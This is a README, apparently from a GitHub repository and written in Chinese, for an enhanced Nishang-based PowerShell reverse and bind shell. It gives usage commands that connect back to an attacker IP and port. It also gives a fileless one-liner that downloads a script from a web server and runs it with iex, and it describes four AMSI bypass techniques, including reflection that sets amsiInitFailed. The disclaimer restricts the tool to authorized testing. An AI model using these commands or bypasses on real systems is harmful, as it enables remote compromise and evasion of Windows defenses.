ProdigiumAcademy/Invoke-PowerShellTcpPlus

GitHub: ProdigiumAcademy/Invoke-PowerShellTcpPlus

基于 Nishang 改进的增强版 PowerShell 反弹/绑定 Shell,集成多阶段 AMSI 绕过并修复多项原生缺陷。

Stars: 1 | Forks: 0

# Invoke-PowerShellTcp++ – 增强版反向/绑定 PowerShell Shell,支持多阶段 AMSI 绕过 这是经典 **Nishang** 框架中 `Invoke-PowerShellTcp.ps1` 的强化、错误容错版本。 本脚本完全保持向后兼容,同时引入了多项易用性和防御性改进。 ## 🚀 相比原版的关键改进 - ✅ **多阶段 AMSI 绕过** – 依次尝试四种不同的绕过技术,在现代 Windows 环境下可靠性更高。 - ✅ **真实的错误报告** – 所有错误(包括权限拒绝、语法错误、命令未找到等)都会原样返回给客户端,本地 PowerShell 控制台显示什么,客户端就收到什么。 - ✅ **UTF-8 编码** – 正确传输 Unicode 字符,保留重音符号、特殊符号和特殊字符。 - ✅ **优化的缓冲区** – 从 64 KB 减少到 8 KB,避免不必要的内存消耗,同时保持完整的命令执行能力。 - ✅ **修正的绑定 Shell 监听器** – 绑定 shell 现在能正常工作,因为原版存在类型转换错误。 - ✅ **提示符标准化** – 统一的 `PS <路径> > ` 格式,末尾带空格,避免重复提示。 - ✅ **详细输出** – 可选的 `-Verbose` 开关,用于调试连接和绕过尝试。 - ✅ **更好的资源清理** – 使用类似 `finally` 的逻辑确保即使出错也能关闭套接字。 ## 🧬 原始致谢 本脚本是 [Nishang](https://github.com/samratashok/nishang) 框架中传奇脚本 `Invoke-PowerShellTcp.ps1` 的**直接进化版**,该框架由 Nikhil Mittal(又名 [@samratashok](https://github.com/samratashok))开发。 Nishang 本身受到 **Ben Turner** 和 **Dave Hardy** 编写的 **Powerfun** 的启发。 ## 📦 用法 ### 反向 Shell 最常见的用法: ``` expl_win -Reverse -IPAddress 10.0.0.5 -Port 4444 ``` ### 绑定 Shell 监听器模式: ``` expl_win -Bind -Port 8888 ``` ### 带详细输出 ``` expl_win -Reverse -IPAddress 10.0.0.5 -Port 4444 -Verbose ``` ## 💻 一行命令部署 要无需落盘部署脚本,将其托管在 Web 服务器上,然后运行: ``` powershell iex (New-Object Net.WebClient).DownloadString('http://yourserver/expl_win.ps1'); expl_win -Reverse -IPAddress 10.0.0.5 -Port 4444 ``` 此技术与原始的 Nishang 部署方法相同。 ## 🛡️ 多阶段 AMSI 绕过 本脚本按顺序执行四种独立的 AMSI 绕过技术。如果一种失败,自动尝试下一种: 1. **Base64 Unicode 补丁** – 使用反射将 `amsiInitFailed` 设为 `$true`。 2. **字符串拆分和环境变量** – 经典的 Nishang 风格混淆。 3. **`echo` 加字符串格式化** – 另一种混淆变体。 4. **循环遍历类型和字段** – 一种更安静的基于反射的技术,避免使用硬编码字符串。 如果所有四种都失败,会发出警告,但 shell 继续运行。AMSI 绕过是一种尽力而为的改进。 ## 🔧 依赖项 - Windows PowerShell 5.1 或 PowerShell 7+。 - 跨平台支持为实验性。 - .NET Framework 4.5+。 - 无需外部工具。 - 纯 PowerShell。 - 单个文件。 ## ⚖️ 法律与道德免责声明 本脚本仅供教育目的、授权的渗透测试和红队演练使用。 未经明确书面许可,对不属于您或无权测试的系统进行未授权使用是非法的,也是不道德的行为。 作者对任何滥用本工具的行为不承担任何责任。 ## 📚 其他资源 - [Nishang – 官方仓库](https://github.com/samratashok/nishang) - PowerShell Shells 周 – 第一天 - Powerfun – Ben Turner 和 Dave Hardy 的原始脚本
标签:AI合规, AMSI绕过, Conpot, IPv6, Libemu, Nishang, OpenCanary, PowerShell, UTF-8编码, Windows安全, 反向Shell, 命令控制, 威胁检测, 数据采集, 私有化部署, 绑定Shell, 缓冲区优化, 网络Shell, 脚本攻击, 资源清理, 错误报告, 防御规避